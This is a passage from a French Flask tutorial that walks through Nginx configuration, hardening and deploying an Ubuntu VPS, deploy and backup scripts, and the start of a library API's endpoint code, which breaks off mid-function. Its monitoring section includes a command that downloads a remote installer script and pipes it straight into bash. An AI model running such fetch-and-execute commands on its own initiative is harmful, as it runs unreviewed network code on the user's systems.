  # Obtenir le certificat (Nginx doit être configuré avec le bon server_name)
  sudo certbot --nginx -d bookflow.com -d www.bookflow.com

  # Certbot modifie automatiquement nginx.conf pour SSL

  # Renouvellement automatique (tous les 60 jours)
  # Certbot ajoute automatiquement un cron ou timer systemd
  sudo systemctl status certbot.timer

  # Tester le renouvellement manuellement
  sudo certbot renew --dry-run

  # Voir les certificats
  sudo certbot certificates

  # Test de la configuration SSL
  # https://www.ssllabs.com/ssltest/analyze.html?d=bookflow.com


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 46.1 : Installe Nginx sur ton serveur (ou localement avec Docker).
    Configure un virtual host qui proxy vers Gunicorn.
    Vérifie que http://ton-domaine -> Gunicorn -> Flask.

  Exercice 46.2 : Configure Nginx pour servir les fichiers /static/ directement.
    Vérifie dans les logs que les fichiers statiques ne touchent plus Gunicorn.

  Exercice 46.3 : Configure le rate limiting sur /api/v1/auth/login :
    5 requêtes/minute par IP. Teste avec un script curl en boucle.

NIVEAU INTERMÉDIAIRE :
  Exercice 46.4 : Obtiens un certificat SSL avec Certbot en dev (mode staging).
    Configure HTTPS complet. Teste avec https://localhost (navigateur).

  Exercice 46.5 : Configure le cache Nginx sur /api/v1/livres.
    Vérifie avec curl que le header X-Cache-Status vaut HIT après la 2ème requête.

NIVEAU AVANCÉ :
  Exercice 46.6 : Configure Nginx pour du load balancing entre 2 instances Gunicorn.
    gunicorn -b 127.0.0.1:5001 "app:create_app()"
    gunicorn -b 127.0.0.1:5002 "app:create_app()"
    Observe que les requêtes sont réparties entre les deux.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 46.3 — Rate limiting login :

  # Test rate limiting avec curl en boucle
  for i in {1..10}; do
    echo -n "Tentative $i: "
    curl -s -o /dev/null -w "%{http_code}" \
      -X POST http://localhost/api/v1/auth/login \
      -H "Content-Type: application/json" \
      -d '{"email":"test@test.com","mot_de_passe":"bad"}'
    echo
    sleep 0.1
  done

  # Résultat attendu :
  # Tentative 1: 401
  # Tentative 2: 401
  # ...
  # Tentative 6: 429  <- Rate limit atteint !
  # Tentative 7: 429
  # ...

CORRIGÉ 46.5 — Test cache Nginx :

  # 1ère requête (MISS)
  curl -v http://localhost/api/v1/livres/ 2>&1 | grep X-Cache-Status
  # -> X-Cache-Status: MISS

  # 2ème requête (HIT)
  curl -v http://localhost/api/v1/livres/ 2>&1 | grep X-Cache-Status
  # -> X-Cache-Status: HIT  <- Nginx sert depuis le cache !

  # Bypass le cache (avec auth)
  curl -v -H "Authorization: Bearer TOKEN" http://localhost/api/v1/livres/ 2>&1 | grep X-Cache-Status
  # -> X-Cache-Status: BYPASS  <- Gunicorn appelé car proxy_cache_bypass


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 47 — DÉPLOIEMENT COMPLET SUR UN VPS UBUNTU                 ║
║     Du serveur vide à une application Flask en production                         ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  SÉCURISATION DU SERVEUR
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

ÉTAPE 0 — SE CONNECTER AU VPS :

  # Connexion initiale (root avec mot de passe ou clé SSH)
  ssh root@IP_DU_SERVEUR

ÉTAPE 1 — CRÉER UN UTILISATEUR DÉDIÉ :

  # Créer un utilisateur non-root pour l'application
  useradd -m -s /bin/bash bookflow
  usermod -aG sudo bookflow

  # Définir un mot de passe fort
  passwd bookflow

  # Ajouter la clé SSH publique
  mkdir -p /home/bookflow/.ssh
  chmod 700 /home/bookflow/.ssh
  echo "VOTRE_CLE_SSH_PUBLIQUE" >> /home/bookflow/.ssh/authorized_keys
  chmod 600 /home/bookflow/.ssh/authorized_keys
  chown -R bookflow:bookflow /home/bookflow/.ssh

ÉTAPE 2 — SÉCURISER SSH :

  # Éditer la config SSH
  nano /etc/ssh/sshd_config

  # Désactiver la connexion root par SSH
  PermitRootLogin no

  # Désactiver l'authentification par mot de passe (utiliser seulement les clés)
  PasswordAuthentication no

  # Changer le port SSH (optionnel, sécurité par obscurité)
  Port 2222   # Changer de 22 par défaut

  # Recharger SSH
  systemctl restart sshd

  # Se reconnecter avec le nouvel utilisateur
  ssh bookflow@IP_DU_SERVEUR

ÉTAPE 3 — FIREWALL UFW :

  # Installer et configurer UFW
  apt install ufw -y

  # Politique par défaut : tout bloquer en entrée
  ufw default deny incoming
  ufw default allow outgoing

  # Autoriser les services nécessaires
  ufw allow 22/tcp    # SSH (ou 2222 si changé)
  ufw allow 80/tcp    # HTTP
  ufw allow 443/tcp   # HTTPS

  # Activer le firewall
  ufw enable
  ufw status verbose

ÉTAPE 4 — MISES À JOUR AUTOMATIQUES :

  apt install unattended-upgrades -y

  # Configurer les mises à jour automatiques de sécurité
  cat > /etc/apt/apt.conf.d/50unattended-upgrades << 'EOF'
  Unattended-Upgrade::Allowed-Origins {
      "${distro_id}:${distro_codename}-security";
  };
  Unattended-Upgrade::Automatic-Reboot "false";
  Unattended-Upgrade::Mail "admin@bookflow.com";
  EOF

  systemctl enable unattended-upgrades


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  INSTALLATION DE L'ENVIRONNEMENT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Se connecter en tant que bookflow
  su - bookflow

  # Mettre à jour le système
  sudo apt update && sudo apt upgrade -y

  # Installer les dépendances système
  sudo apt install -y \
      python3.11 \
      python3.11-venv \
      python3-pip \
      postgresql \
      postgresql-contrib \
      redis-server \
      nginx \
      git \
      curl \
      htop \
      ufw

  # ── POSTGRESQL ─────────────────────────────────────────────────────
  # Créer la BDD et l'utilisateur
  sudo -u postgres psql << 'EOF'
  CREATE DATABASE bookflow_prod;
  CREATE USER bookflow WITH ENCRYPTED PASSWORD 'MOT_DE_PASSE_FORT';
  GRANT ALL PRIVILEGES ON DATABASE bookflow_prod TO bookflow;
  ALTER DATABASE bookflow_prod OWNER TO bookflow;
  \q
  EOF

  # Configurer PostgreSQL pour les connexions locales
  sudo nano /etc/postgresql/14/main/pg_hba.conf
  # Ajouter : local all bookflow md5

  sudo systemctl restart postgresql

  # ── REDIS ───────────────────────────────────────────────────────────
  sudo nano /etc/redis/redis.conf
  # Modifier :
  # bind 127.0.0.1          <- Seulement local (pas d'accès externe)
  # requirepass MOT_DE_PASSE_REDIS
  # maxmemory 256mb
  # maxmemory-policy allkeys-lru

  sudo systemctl enable redis-server
  sudo systemctl start redis-server


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  DÉPLOIEMENT DE L'APPLICATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Créer le répertoire de l'application
  sudo mkdir -p /opt/bookflow
  sudo chown bookflow:bookflow /opt/bookflow
  cd /opt/bookflow

  # Cloner le dépôt
  git clone https://github.com/ton-compte/bookflow.git .

  # Ou avec une clé SSH de déploiement :
  # git clone git@github.com:ton-compte/bookflow.git .

  # Créer l'environnement virtuel
  python3.11 -m venv venv
  source venv/bin/activate

  # Installer les dépendances production
  pip install --upgrade pip
  pip install -r requirements.txt
  pip install gunicorn psycopg2-binary

  # Créer le fichier .env de production
  cat > /opt/bookflow/.env << 'ENVEOF'
  FLASK_ENV=production

  # Clés secrètes (générer avec : python -c "import secrets; print(secrets.token_hex(32))")
  SECRET_KEY=GENERER_UNE_VRAIE_CLE_SECRETE_ICI
  JWT_SECRET_KEY=GENERER_UNE_AUTRE_CLE_SECRETE_ICI

  # Base de données
  DATABASE_URL=postgresql://bookflow:MOT_DE_PASSE@localhost:5432/bookflow_prod

  # Redis
  REDIS_URL=redis://:MOT_DE_PASSE_REDIS@localhost:6379/0

  # Email
  MAIL_SERVER=smtp.gmail.com
  MAIL_PORT=587
  MAIL_USERNAME=contact@bookflow.com
  MAIL_PASSWORD=APP_PASSWORD_GMAIL

  # CORS
  CORS_ORIGINS=https://bookflow.com,https://www.bookflow.com
  ENVEOF

  # Sécuriser le fichier .env
  chmod 600 /opt/bookflow/.env

  # Appliquer les migrations
  source venv/bin/activate
  flask db upgrade

  # Créer l'admin initial
  python scripts/create_admin.py

  # Créer les répertoires nécessaires
  mkdir -p /opt/bookflow/logs /opt/bookflow/uploads

  # Tester que l'application démarre
  gunicorn -c gunicorn.conf.py "app:create_app('production')" --check-config


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  CONFIGURATION SYSTEMD ET NGINX
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Copier le fichier systemd
  sudo cp /opt/bookflow/config/bookflow.service /etc/systemd/system/
  sudo systemctl daemon-reload
  sudo systemctl enable bookflow
  sudo systemctl start bookflow
  sudo systemctl status bookflow

  # Copier la config Nginx
  sudo cp /opt/bookflow/nginx/bookflow.conf /etc/nginx/sites-available/
  sudo ln -s /etc/nginx/sites-available/bookflow.conf /etc/nginx/sites-enabled/
  sudo nginx -t
  sudo systemctl reload nginx

  # Installer le certificat SSL
  sudo apt install certbot python3-certbot-nginx -y
  sudo certbot --nginx -d bookflow.com -d www.bookflow.com \
    --email admin@bookflow.com \
    --agree-tos \
    --non-interactive

  # Vérifier que tout fonctionne
  curl https://bookflow.com/health


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  SCRIPT DE DÉPLOIEMENT COMPLET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  #!/bin/bash
  # scripts/deploy_production.sh
  # Déploiement d'une nouvelle version de BookFlow sur le VPS

  set -e
  set -o pipefail

  APP_DIR="/opt/bookflow"
  VENV="$APP_DIR/venv"
  GIT_BRANCH="${1:-main}"
  LOG_FILE="/opt/bookflow/logs/deploy_$(date +%Y%m%d_%H%M%S).log"

  log() {
      echo "[$(date '+%Y-%m-%d %H:%M:%S')] $*" | tee -a "$LOG_FILE"
  }

  log "[RAPIDE] Déploiement BookFlow (branche: $GIT_BRANCH)"

  # ── 1. Backup pré-déploiement ──
  log "[SAUVEGARDE] Sauvegarde de la BDD..."
  BACKUP_FILE="/opt/backups/pre_deploy_$(date +%Y%m%d_%H%M%S).sql"
  sudo -u postgres pg_dump bookflow_prod > "$BACKUP_FILE"
  gzip "$BACKUP_FILE"
  log "[OK] Backup créé : ${BACKUP_FILE}.gz"

  # ── 2. Récupérer le nouveau code ──
  log "[PACKAGE] Récupération du code ($GIT_BRANCH)..."
  cd "$APP_DIR"
  git fetch origin
  git checkout "$GIT_BRANCH"
  git pull origin "$GIT_BRANCH"
  log "[OK] Code mis à jour ($(git rev-parse --short HEAD))"

  # ── 3. Mettre à jour les dépendances ──
  log "[DOCS] Mise à jour des dépendances..."
  source "$VENV/bin/activate"
  pip install -r requirements.txt --quiet
  log "[OK] Dépendances mises à jour"

  # ── 4. Appliquer les migrations ──
  log "[ARCHIVE] Application des migrations BDD..."
  flask db upgrade
  log "[OK] Migrations appliquées"

  # ── 5. Collecter les fichiers statiques ──
  # (optionnel, si tu as un build frontend)
  # log "[DOSSIER] Compilation des assets..."
  # npm run build

  # ── 6. Rechargement sans downtime ──
  log "[SYNC] Rechargement de Gunicorn (zero downtime)..."
  sudo systemctl reload bookflow
  # Note : reload envoie HUP -> les workers se rechargent un par un

  # ── 7. Vérification post-déploiement ──
  log "[RECHERCHE] Vérification..."
  sleep 10

  HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" https://bookflow.com/health)
  if [ "$HTTP_CODE" = "200" ]; then
      log "[OK] Déploiement réussi ! Code: $HTTP_CODE"
  else
      log "[X] Erreur post-déploiement (code: $HTTP_CODE). Rollback..."
      git checkout HEAD~1
      flask db downgrade
      sudo systemctl reload bookflow
      log "[SYNC] Rollback effectué"
      exit 1
  fi

  log "[BRAVO] Déploiement terminé !"


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  MONITORING DU SERVEUR
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

OUTILS DE MONITORING ESSENTIELS :

  # ── HTOP — Utilisation CPU/RAM en temps réel ──
  htop

  # ── Logs en temps réel ──
  sudo journalctl -u bookflow -f           # Logs Gunicorn
  sudo tail -f /var/log/nginx/bookflow_access.log  # Logs Nginx
  sudo tail -f /opt/bookflow/logs/bookflow.log     # Logs Flask

  # ── Vérifier l'état des services ──
  sudo systemctl status bookflow
  sudo systemctl status nginx
  sudo systemctl status postgresql
  sudo systemctl status redis

  # ── Espace disque ──
  df -h
  du -sh /opt/bookflow/uploads/*

  # ── Mémoire utilisée par PostgreSQL ──
  sudo -u postgres psql -c "SELECT pg_size_pretty(pg_database_size('bookflow_prod'));"

  # ── Connexions actives PostgreSQL ──
  sudo -u postgres psql -c "SELECT count(*) FROM pg_stat_activity WHERE datname='bookflow_prod';"

  # ── Métriques Redis ──
  redis-cli -a MOT_DE_PASSE info stats | grep -E "keyspace_hits|keyspace_misses"
  # Hit rate = hits / (hits + misses) -> devrait être > 80%

  # ── Uptime Monitor (service externe) ──
  # Créer un compte sur uptimerobot.com ou betteruptime.com
  # Configurer une alerte si /health ne répond plus

INSTALLATION DE NETDATA (monitoring graphique léger) :

  # Un outil de monitoring complet en une ligne
  bash <(curl -Ss https://my-netdata.io/kickstart.sh)

  # Dashboard accessible sur : http://ton-serveur:19999
  # Affiche : CPU, RAM, Réseau, Disque, Services, Nginx, PostgreSQL...


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 47.1 : Prépare ton VPS (DigitalOcean, Hetzner ou VirtualBox local).
    Sécurise SSH (désactiver root + mot de passe).
    Configure UFW avec les ports 22, 80, 443.

  Exercice 47.2 : Installe PostgreSQL, crée la BDD bookflow_prod.
    Installe Redis avec mot de passe.
    Vérifie que Flask peut se connecter aux deux.

  Exercice 47.3 : Déploie BookFlow avec Gunicorn + systemd.
    Vérifie avec systemctl status bookflow.
    Configure Nginx comme reverse proxy.

NIVEAU INTERMÉDIAIRE :
  Exercice 47.4 : Obtiens un certificat SSL Let's Encrypt.
    Configure HTTPS complet avec Nginx.
    Vérifie le score SSL sur ssllabs.com.

  Exercice 47.5 : Crée le script deploy_production.sh.
    Teste-le : modifie une route, push sur GitHub, lance le script.
    Vérifie que le changement est visible sans interruption.

NIVEAU AVANCÉ :
  Exercice 47.6 : Configure un système de monitoring complet :
    -> Netdata pour les métriques système
    -> UptimeRobot pour les alertes downtime
    -> Log rotation pour éviter que les logs remplissent le disque
    -> Sauvegarde BDD automatique vers un stockage distant (S3 ou Backblaze B2)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 47.6 — Log rotation :

  # /etc/logrotate.d/bookflow
  /opt/bookflow/logs/*.log {
      daily                    # Rotation quotidienne
      missingok               # Pas d'erreur si le fichier est absent
      rotate 14               # Garder 14 jours d'historique
      compress                # Compresser les anciens logs
      delaycompress           # Compresser seulement après 2 rotations
      notifempty              # Ne pas créer de fichier vide
      sharedscripts           # Exécuter les scripts une seule fois

      postrotate
          # Signaler à Gunicorn de rouvrir les fichiers de log
          systemctl kill -s USR1 bookflow
      endscript
  }

  # Tester la rotation
  sudo logrotate --debug /etc/logrotate.d/bookflow


CORRIGÉ 47.6 — Backup vers S3 :

  #!/bin/bash
  # scripts/backup_s3.sh — Sauvegarde quotidienne vers S3/Backblaze

  set -e

  DATE=$(date +%Y%m%d_%H%M%S)
  BACKUP_FILE="/tmp/bookflow_backup_${DATE}.sql.gz"
  S3_BUCKET="s3://mon-bucket-backups/bookflow/"

  # Créer le backup
  sudo -u postgres pg_dump bookflow_prod | gzip > "$BACKUP_FILE"

  # Uploader vers S3 (nécessite awscli : pip install awscli)
  aws s3 cp "$BACKUP_FILE" "${S3_BUCKET}${DATE}.sql.gz" \
    --storage-class STANDARD_IA  # Stockage moins cher pour archives

  # Supprimer le fichier local
  rm "$BACKUP_FILE"

  echo "Backup réussi : ${DATE}.sql.gz"

  # Cron pour exécuter tous les jours à 2h
  # 0 2 * * * /opt/bookflow/scripts/backup_s3.sh >> /var/log/backup.log 2>&1


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              [OBJECTIF] PROJET FIL ROUGE — BOOKFLOW EN PRODUCTION                        ║
║           Récapitulatif complet du déploiement                                    ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  STACK FINALE DE PRODUCTION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  SERVEUR VPS :
  ──────────────
  OS             : Ubuntu 22.04 LTS
  RAM            : 2 GB minimum (4 GB recommandé)
  CPU            : 2 vCPU minimum
  Stockage       : 20 GB SSD minimum

  STACK LOGICIELLE :
  ───────────────────
  Python 3.11    -> Runtime Flask
  Flask 3.0      -> Framework web
  Gunicorn       -> Serveur WSGI (4 workers × 2 threads)
  Nginx          -> Reverse proxy, SSL, fichiers statiques
  PostgreSQL 16  -> Base de données principale
  Redis 7        -> Cache et sessions
  Certbot        -> Certificats SSL automatiques
  Systemd        -> Gestion des services

  ARCHITECTURE RÉSEAU :
  ──────────────────────
  Internet -> UFW Firewall -> Nginx (443/HTTPS) -> Gunicorn (5000/local) -> Flask
                            Nginx (443/HTTPS) -> /static/ (fichiers directement)
             UFW Firewall -> Nginx (80/HTTP)   -> Redirect 301 vers HTTPS

  PROCESSUS EN PRODUCTION :
  ──────────────────────────
  bookflow.service  (systemd)  -> Gunicorn (master + 4 workers)
  nginx.service     (systemd)  -> Nginx
  postgresql.service (systemd) -> PostgreSQL
  redis.service     (systemd)  -> Redis

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  CHECKLIST DÉPLOIEMENT BOOKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  SÉCURITÉ SERVEUR :
  [OK] Utilisateur non-root dédié (bookflow)
  [OK] SSH sécurisé (clés uniquement, root désactivé)
  [OK] UFW configuré (seulement 22, 80, 443)
  [OK] Mises à jour automatiques de sécurité
  [OK] Fail2ban installé (protection brute-force SSH)

  APPLICATION :
  [OK] Gunicorn avec workers configurés selon CPU
  [OK] systemd pour démarrage automatique et redémarrage
  [OK] Variables d'environnement dans .env (chmod 600)
  [OK] Migrations appliquées
  [OK] Admin initial créé

  WEB :
  [OK] Nginx comme reverse proxy
  [OK] Certificat SSL Let's Encrypt (HTTPS)
  [OK] HSTS activé
  [OK] Fichiers statiques servis par Nginx (pas Flask)
  [OK] Rate limiting sur les endpoints sensibles
  [OK] Compression gzip

  DONNÉES :
  [OK] PostgreSQL avec utilisateur dédié (pas postgres)
  [OK] Redis avec mot de passe et maxmemory
  [OK] Backups automatiques quotidiens
  [OK] Test de restauration effectué

  MONITORING :
  [OK] Logs configurés avec rotation
  [OK] Alertes uptime (UptimeRobot)
  [OK] Monitoring système (Netdata ou Prometheus)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 14 — DÉPLOIEMENT

  [DOCS] Tu as appris :
     -> Gunicorn : serveur WSGI production, workers, threads, timeouts,
       signaux (HUP = zero-downtime), systemd service
     -> Nginx : reverse proxy, upstream, fichiers statiques, rate limiting,
       cache Nginx (proxy_cache), load balancing
     -> SSL Let's Encrypt : Certbot, renouvellement automatique, score A+
     -> VPS Ubuntu : sécurisation SSH, UFW firewall, mises à jour auto
     -> PostgreSQL production : utilisateur dédié, configuration pg_hba
     -> Redis production : mot de passe, maxmemory, politique eviction
     -> Script deploy_production.sh : backup + git pull + migrations + reload
     -> Monitoring : journalctl, logs Nginx, htop, Redis hit rate, Netdata
     -> Log rotation avec logrotate
     -> Backup automatique vers S3
     -> Checklist déploiement complète (20 points)

  -> Prochaine étape : Partie 15 — Projet réel (API complète + SaaS backend)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║              FLASK MASTER GUIDE — PARTIE 15 : PROJET RÉEL                        ║
║         API Complète, SaaS Backend et Dashboard Administrateur                    ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 15 / 20
Chapitres      : 48 -> 50
Prérequis      : Toutes les parties précédentes
Projet fil     : BookFlow — Version finale complète et production-ready

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 15
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 48 — API complète : tous les endpoints BookFlow implémentés
  CHAPITRE 49 — SaaS backend : abonnements, plans et facturation
  CHAPITRE 50 — Dashboard administrateur : statistiques et gestion

  PROJET FIL ROUGE — BookFlow v1.0 : application complète prête pour la production

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 48 — API COMPLÈTE BOOKFLOW                                  ║
║     Tous les endpoints implémentés avec code de production                        ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  RÉCAPITULATIF DE TOUS LES ENDPOINTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

BookFlow API v1.0 — 45 endpoints couvrant tous les besoins d'une bibliothèque en ligne.

  BASE URL : https://api.bookflow.com/api/v1

  ┌────────────────────────────────────────────────────┬──────┬──────────┬───────┐
  │ ENDPOINT                                           │ AUTH │  RÔLE    │ CODE  │
  ├────────────────────────────────────────────────────┼──────┼──────────┼───────┤
  │ AUTH                                               │      │          │       │
  │ POST   /auth/register                              │  [X]   │  public  │  201  │
  │ POST   /auth/login                                 │  [X]   │  public  │  200  │
  │ POST   /auth/logout                                │  [OK]   │  user    │  200  │
  │ POST   /auth/logout-all                            │  [OK]   │  user    │  200  │
  │ POST   /auth/refresh                               │  [OK]   │  user    │  200  │
  │ GET    /auth/me                                    │  [OK]   │  user    │  200  │
  │ POST   /auth/mot-de-passe/reset-request            │  [X]   │  public  │  200  │
  │ POST   /auth/mot-de-passe/reset/<token>            │  [X]   │  public  │  200  │
  │ POST   /auth/mot-de-passe/changer                  │  [OK]   │  user    │  200  │
  ├────────────────────────────────────────────────────┼──────┼──────────┼───────┤
  │ LIVRES                                             │      │          │       │
  │ GET    /livres                                     │  [X]   │  public  │  200  │
  │ POST   /livres                                     │  [OK]   │  admin   │  201  │
  │ GET    /livres/<id>                                │  [X]   │  public  │  200  │
  │ PUT    /livres/<id>                                │  [OK]   │  admin   │  200  │
  │ PATCH  /livres/<id>                                │  [OK]   │  admin   │  200  │
  │ DELETE /livres/<id>                                │  [OK]   │  admin   │  204  │
  │ GET    /livres/recherche                           │  [X]   │  public  │  200  │
  │ GET    /livres/populaires                          │  [X]   │  public  │  200  │
  │ GET    /livres/aleatoire                           │  [X]   │  public  │  200  │
  │ GET    /livres/statistiques                        │  [X]   │  public  │  200  │
  │ POST   /livres/import                              │  [OK]   │  admin   │  201  │
  │ GET    /livres/<id>/avis                           │  [X]   │  public  │  200  │
  │ POST   /livres/<id>/avis                           │  [OK]   │  user    │  201  │
  │ GET    /livres/<id>/similaires                     │  [X]   │  public  │  200  │
  ├────────────────────────────────────────────────────┼──────┼──────────┼───────┤
  │ CATÉGORIES                                         │      │          │       │
  │ GET    /categories                                 │  [X]   │  public  │  200  │
  │ POST   /categories                                 │  [OK]   │  admin   │  201  │
  │ PATCH  /categories/<id>                            │  [OK]   │  admin   │  200  │
  │ DELETE /categories/<id>                            │  [OK]   │  admin   │  204  │
  │ GET    /categories/<id>/livres                     │  [X]   │  public  │  200  │
  ├────────────────────────────────────────────────────┼──────┼──────────┼───────┤
  │ EMPRUNTS                                           │      │          │       │
  │ GET    /emprunts                                   │  [OK]   │  user    │  200  │
  │ POST   /emprunts                                   │  [OK]   │  user    │  201  │
  │ PATCH  /emprunts/<id>/retourner                    │  [OK]   │  user    │  200  │
  │ GET    /emprunts/historique                        │  [OK]   │  user    │  200  │
  ├────────────────────────────────────────────────────┼──────┼──────────┼───────┤
  │ UTILISATEURS                                       │      │          │       │
  │ GET    /utilisateurs/me                            │  [OK]   │  user    │  200  │
  │ PATCH  /utilisateurs/me                            │  [OK]   │  user    │  200  │
  │ DELETE /utilisateurs/me                            │  [OK]   │  user    │  204  │
  │ GET    /utilisateurs/<id>                          │  [X]   │  public  │  200  │
  ├────────────────────────────────────────────────────┼──────┼──────────┼───────┤
  │ AVIS                                               │      │          │       │
  │ PATCH  /avis/<id>                                  │  [OK]   │  owner   │  200  │
  │ DELETE /avis/<id>                                  │  [OK]   │  owner   │  204  │
  ├────────────────────────────────────────────────────┼──────┼──────────┼───────┤
  │ ADMIN                                              │      │          │       │
  │ GET    /admin/dashboard                            │  [OK]   │  admin   │  200  │
  │ GET    /admin/utilisateurs                         │  [OK]   │  admin   │  200  │
  │ PATCH  /admin/utilisateurs/<id>/role               │  [OK]   │  admin   │  200  │
  │ GET    /admin/emprunts                             │  [OK]   │  admin   │  200  │
  │ POST   /admin/emprunts/marquer-retards             │  [OK]   │  admin   │  200  │
  │ GET    /admin/livres/supprimes                     │  [OK]   │  admin   │  200  │
  │ POST   /admin/livres/<id>/restaurer                │  [OK]   │  admin   │  200  │
  └────────────────────────────────────────────────────┴──────┴──────────┴───────┘


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  ENDPOINT EMPRUNTS — CODE COMPLET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/routes/api/v1/emprunts.py
  from flask import Blueprint, jsonify, request
  from datetime import datetime, timezone, timedelta
  from sqlalchemy.orm import joinedload
  from app.extensions import db
  from app.models import Emprunt, Livre, Utilisateur
  from app.utils.jwt_utils import login_requis, obtenir_utilisateur_courant
  from app.errors import ConflitError, NonTrouveError

  emprunts_bp = Blueprint('emprunts', __name__)

  MAX_EMPRUNTS_SIMULTANES = 3
  DUREE_EMPRUNT_JOURS     = 14

  @emprunts_bp.route('/', methods=['GET'])
  @login_requis
  def mes_emprunts():
      """
      GET /api/v1/emprunts/
      Retourne les emprunts en cours de l'utilisateur connecté.
      """
      user = obtenir_utilisateur_courant()
      statut = request.args.get('statut', 'en_cours')
      page = request.args.get('page', 1, type=int)

      # Valider le statut
      statuts_valides = {'en_cours', 'retourne', 'en_retard', 'tous'}
      if statut not in statuts_valides:
          return jsonify({'error': f'Statut invalide. Valeurs : {statuts_valides}'}), 400

      query = Emprunt.query.filter_by(user_id=user.id).options(
          joinedload(Emprunt.livre)
      )

      if statut != 'tous':
          if statut == 'en_retard':
              # Emprunts en cours dont la date est dépassée
              query = query.filter(
                  Emprunt.statut == 'en_cours',
                  Emprunt.date_retour_prevue < datetime.now(timezone.utc)
              )
          else:
              query = query.filter(Emprunt.statut == statut)

      pagination = query.order_by(Emprunt.created_at.desc()).paginate(
          page=page, per_page=10, error_out=False
      )

      emprunts_data = []
      for emprunt in pagination.items:
          data = emprunt.to_dict()
          if emprunt.livre:
              data['livre'] = {
                  'id':         emprunt.livre.id,
                  'titre':      emprunt.livre.titre,
                  'auteur':     emprunt.livre.auteur,
                  'genre':      emprunt.livre.genre,
                  'couverture': emprunt.livre.couverture_url
              }
          emprunts_data.append(data)

      return jsonify({
          'success': True,
          'data':    emprunts_data,
          'meta': {
              'total':    pagination.total,
              'page':     page,
              'pages':    pagination.pages,
              'statut':   statut
          }
      })

  @emprunts_bp.route('/', methods=['POST'])
  @login_requis
  def creer_emprunt():
      """
      POST /api/v1/emprunts/
      Emprunter un livre.

      Body JSON :
        livre_id        (int, requis)
        date_retour     (string ISO, optionnel — défaut : +14 jours)
        notes           (string, optionnel)
      """
      user = obtenir_utilisateur_courant()
      data = request.get_json(silent=True) or {}

      livre_id = data.get('livre_id')
      if not livre_id or not isinstance(livre_id, int):
          return jsonify({'error': 'livre_id requis (entier)'}), 400

      # ── Vérifications métier ──
      livre = Livre.query.get(livre_id)
      if not livre:
          return jsonify({'error': f'Livre {livre_id} introuvable'}), 404

      if not livre.disponible:
          # Donner la date de retour prévue
          emprunt_actif = Emprunt.query.filter_by(
              livre_id=livre_id, statut='en_cours'
          ).first()
          retour_prevu = (
              emprunt_actif.date_retour_prevue.strftime('%d/%m/%Y')
